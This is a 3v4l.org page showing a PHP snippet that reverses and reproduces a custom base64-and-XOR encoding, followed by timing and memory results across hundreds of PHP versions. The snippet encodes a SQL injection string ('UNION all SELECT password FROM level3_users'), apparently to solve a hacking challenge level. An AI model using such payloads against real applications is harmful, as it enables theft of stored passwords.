3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION all SELECT password FROM level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01518.38
8.3.50.0090.00922.16
8.3.40.0090.00619.10
8.3.30.0070.01019.17
8.3.20.0040.00420.35
8.3.10.0090.00923.73
8.3.00.0040.00420.71
8.2.180.0110.01116.88
8.2.170.0140.00722.96
8.2.160.0000.01722.08
8.2.150.0070.01124.18
8.2.140.0090.00024.66
8.2.130.0000.00826.16
8.2.120.0050.00322.20
8.2.110.0110.01122.27
8.2.100.0080.00418.16
8.2.90.0030.00619.34
8.2.80.0000.00818.03
8.2.70.0030.00517.75
8.2.60.0000.00917.93
8.2.50.0030.00618.07
8.2.40.0030.00618.16
8.2.30.0050.00318.17
8.2.20.0030.00517.89
8.2.10.0000.00817.85
8.2.00.0080.00017.93
8.1.280.0070.00725.92
8.1.270.0150.00423.81
8.1.260.0080.00026.35
8.1.250.0000.00828.09
8.1.240.0120.00923.98
8.1.230.0080.00419.10
8.1.220.0000.00817.76
8.1.210.0050.00318.77
8.1.200.0030.00617.60
8.1.190.0050.00317.64
8.1.180.0040.00418.10
8.1.170.0040.00418.68
8.1.160.0000.00922.12
8.1.150.0080.00018.87
8.1.140.0000.00717.62
8.1.130.0050.00317.80
8.1.120.0040.00417.70
8.1.110.0000.00717.65
8.1.100.0050.00317.73
8.1.90.0000.00717.61
8.1.80.0070.00017.52
8.1.70.0070.00017.63
8.1.60.0060.00317.66
8.1.50.0030.00617.68
8.1.40.0060.00317.70
8.1.30.0040.00417.89
8.1.20.0040.00417.79
8.1.10.0040.00417.76
8.1.00.0040.00417.66
8.0.300.0000.00718.77
8.0.290.0030.00617.43
8.0.280.0040.00418.48
8.0.270.0000.00717.30
8.0.260.0090.00017.00
8.0.250.0030.00317.18
8.0.240.0070.00017.16
8.0.230.0030.00317.04
8.0.220.0040.00417.05
8.0.210.0000.00717.09
8.0.200.0000.00617.14
8.0.190.0000.00717.18
8.0.180.0040.00417.11
8.0.170.0030.00517.10
8.0.160.0000.00717.03
8.0.150.0040.00417.08
8.0.140.0040.00416.90
8.0.130.0000.00613.45
8.0.120.0000.00916.90
8.0.110.0070.00016.93
8.0.100.0040.00416.90
8.0.90.0040.00416.90
8.0.80.0100.00717.02
8.0.70.0080.00016.87
8.0.60.0050.00317.07
8.0.50.0000.00716.96
8.0.30.0120.00717.28
8.0.20.0140.00617.40
8.0.10.0000.00817.18
8.0.00.0090.01017.07
7.4.330.0000.00515.10
7.4.320.0000.00616.81
7.4.300.0030.00316.75
7.4.290.0000.00816.74
7.4.280.0080.00016.84
7.4.270.0000.00716.84
7.4.260.0040.00316.73
7.4.250.0050.00316.86
7.4.240.0070.00016.78
7.4.230.0000.00716.59
7.4.220.0090.00916.86
7.4.210.0080.00716.87
7.4.200.0050.00216.64
7.4.190.0040.00416.89
7.4.160.0060.00916.56
7.4.150.0140.00917.40
7.4.140.0120.00917.86
7.4.130.0110.00716.82
7.4.120.0150.00316.75
7.4.110.0110.00716.64
7.4.100.0090.00916.75
7.4.90.0060.01216.79
7.4.80.0080.00816.66
7.4.70.0090.00616.72
7.4.60.0150.00616.53
7.4.50.0030.00716.74
7.4.40.0060.00922.77
7.4.30.0130.00316.67
7.4.00.0070.00714.89
7.3.330.0030.00313.54
7.3.320.0000.00513.56
7.3.310.0070.00016.58
7.3.300.0030.00316.55
7.3.290.0060.01316.51
7.3.280.0140.00616.53
7.3.270.0070.01017.40
7.3.260.0140.00316.87
7.3.250.0070.01116.69
7.3.240.0120.00916.59
7.3.230.0100.00716.78
7.3.210.0110.00716.57
7.3.200.0060.01519.39
7.3.190.0190.00316.47
7.3.180.0100.01316.81
7.3.170.0130.00916.68
7.3.160.0050.01016.93
7.3.120.0030.01015.02
7.2.330.0090.00916.93
7.2.320.0120.00916.80
7.2.310.0060.01216.87
7.2.300.0090.00916.79
7.2.290.0170.00016.80
7.2.00.0060.00919.66
7.1.100.0330.00718.20
7.1.70.0000.00717.39
7.1.60.0160.00019.32
7.1.50.0070.01416.89
7.1.00.0070.07322.50
7.0.200.0050.00516.64
7.0.140.0030.07322.09
7.0.60.0030.09019.93
7.0.50.0100.08317.85
7.0.40.0030.09020.04
7.0.30.0130.09720.12
7.0.20.0200.03720.25
7.0.10.0130.05020.24
7.0.00.0130.04720.13
5.6.280.0000.07721.07
5.6.210.0100.07320.61
5.6.200.0100.08318.25
5.6.190.0100.04020.78
5.6.180.0200.05720.36
5.6.170.0300.07720.49
5.6.160.0070.08320.54
5.6.150.0030.04318.14
5.6.140.0100.04718.11
5.6.130.0070.08018.24
5.6.120.0070.07321.04
5.6.110.0130.08321.06
5.6.100.0100.05720.99
5.6.90.0270.07021.04
5.6.80.0100.03020.41
5.6.70.0230.06720.34
5.5.350.0170.07720.45
5.5.340.0070.06718.04
5.5.330.0030.05020.23
5.5.320.0230.04320.21
5.5.310.0230.05020.42
5.5.300.0070.08018.03
5.5.290.0100.06017.98
5.5.280.0100.03320.81
5.5.270.0030.07020.77
5.5.260.0100.08020.77
5.5.250.0030.08720.63
5.5.240.0070.07720.27
5.4.450.0300.06719.59
5.4.440.0130.06019.41
5.4.430.0130.06019.19
5.4.420.0900.04719.39
5.4.410.0070.06019.08
5.4.400.0370.05318.83
5.4.390.0300.06018.57
5.4.380.0070.06018.48
5.4.370.0200.05018.58
5.4.360.0470.04718.58
5.4.350.0200.04718.57
5.4.340.0200.05018.84
5.4.320.0090.03712.51
5.4.310.0090.03612.50
5.4.300.0040.04312.51
5.4.290.0080.03512.51
5.4.280.0060.03412.41
5.4.270.0100.03912.40
5.4.260.0100.04212.41
5.4.250.0100.04312.41
5.4.240.0080.03412.40
5.4.230.0040.04012.39
5.4.220.0060.04012.40
5.4.210.0090.04512.40
5.4.200.0070.04112.39
5.4.190.0070.04112.39
5.4.180.0060.03512.39
5.4.170.0360.08412.38
5.4.160.0120.04612.38
5.4.150.0180.04412.38
5.4.140.0170.04412.05
5.4.130.0160.04512.05
5.4.120.0140.04412.00
5.4.110.0150.04312.00
5.4.100.0180.04312.00
5.4.90.0200.03812.00
5.4.80.0160.04412.00
5.4.70.0120.04512.00
5.4.60.0190.04212.00
5.4.50.0190.04011.99
5.4.40.0140.04611.98
5.4.30.0200.03811.98
5.4.20.0220.03611.98
5.4.10.0220.03711.98
5.4.00.0160.04211.47
5.3.290.0070.04112.80
5.3.280.0060.03812.71
5.3.270.0170.04712.73
5.3.260.0150.04812.72
5.3.250.0170.04412.72
5.3.240.0180.04612.72
5.3.230.0120.05012.71
5.3.220.0170.04312.68
5.3.210.0160.04612.68
5.3.200.0180.04512.68
5.3.190.0210.04212.68
5.3.180.0110.04912.67
5.3.170.0110.04812.67
5.3.160.0160.04612.67
5.3.150.0190.04212.67
5.3.140.0180.04312.66
5.3.130.0220.04012.66
5.3.120.0140.04812.66
5.3.110.0200.04212.66
5.3.100.0240.03812.12
5.3.90.0120.04912.11
5.3.80.0160.04512.09
5.3.70.0260.06412.09
5.3.60.0180.04312.08
5.3.50.0180.04212.02
5.3.40.0160.04512.02
5.3.30.0120.04711.99
5.3.20.0160.04411.77
5.3.10.0160.04211.74
5.3.00.0140.04511.72
5.2.170.0080.0419.23
5.2.160.0110.0379.23
5.2.150.0210.0279.22
5.2.140.0120.0379.22
5.2.130.0130.0349.18
5.2.120.0150.0339.18
5.2.110.0120.0369.19
5.2.100.0090.0399.19
5.2.90.0110.0379.19
5.2.80.0130.0389.18
5.2.70.0130.0359.18
5.2.60.0140.0349.13
5.2.50.0120.0379.10
5.2.40.0130.0369.07
5.2.30.0150.0319.06
5.2.20.0150.0329.06
5.2.10.0100.0378.95
5.2.00.0130.0318.80
5.1.60.0120.0278.09
5.1.50.0130.0298.08
5.1.40.0080.0328.07
5.1.30.0110.0338.41
5.1.20.0110.0358.45
5.1.10.0160.0298.16
5.1.00.0130.0308.16
5.0.50.0120.0236.66
5.0.40.0070.0256.51
5.0.30.0090.0376.33
5.0.20.0080.0256.30
5.0.10.0130.0196.27
5.0.00.0080.0386.26
4.4.90.0090.0174.78
4.4.80.0120.0144.75
4.4.70.0090.0184.75
4.4.60.0080.0184.76
4.4.50.0050.0204.77
4.4.40.0080.0294.71
4.4.30.0080.0184.76
4.4.20.0070.0184.85
4.4.10.0090.0164.85
4.4.00.0100.0264.76
4.3.110.0100.0164.67
4.3.100.0060.0194.66
4.3.90.0080.0174.63
4.3.80.0050.0304.59
4.3.70.0070.0184.63
4.3.60.0060.0194.63
4.3.50.0070.0184.63
4.3.40.0080.0264.54
4.3.30.0060.0183.33
4.3.20.0050.0193.32
4.3.10.0060.0173.28
4.3.00.0030.0206.81

preferences:
42.65 ms | 401 KiB | 5 Q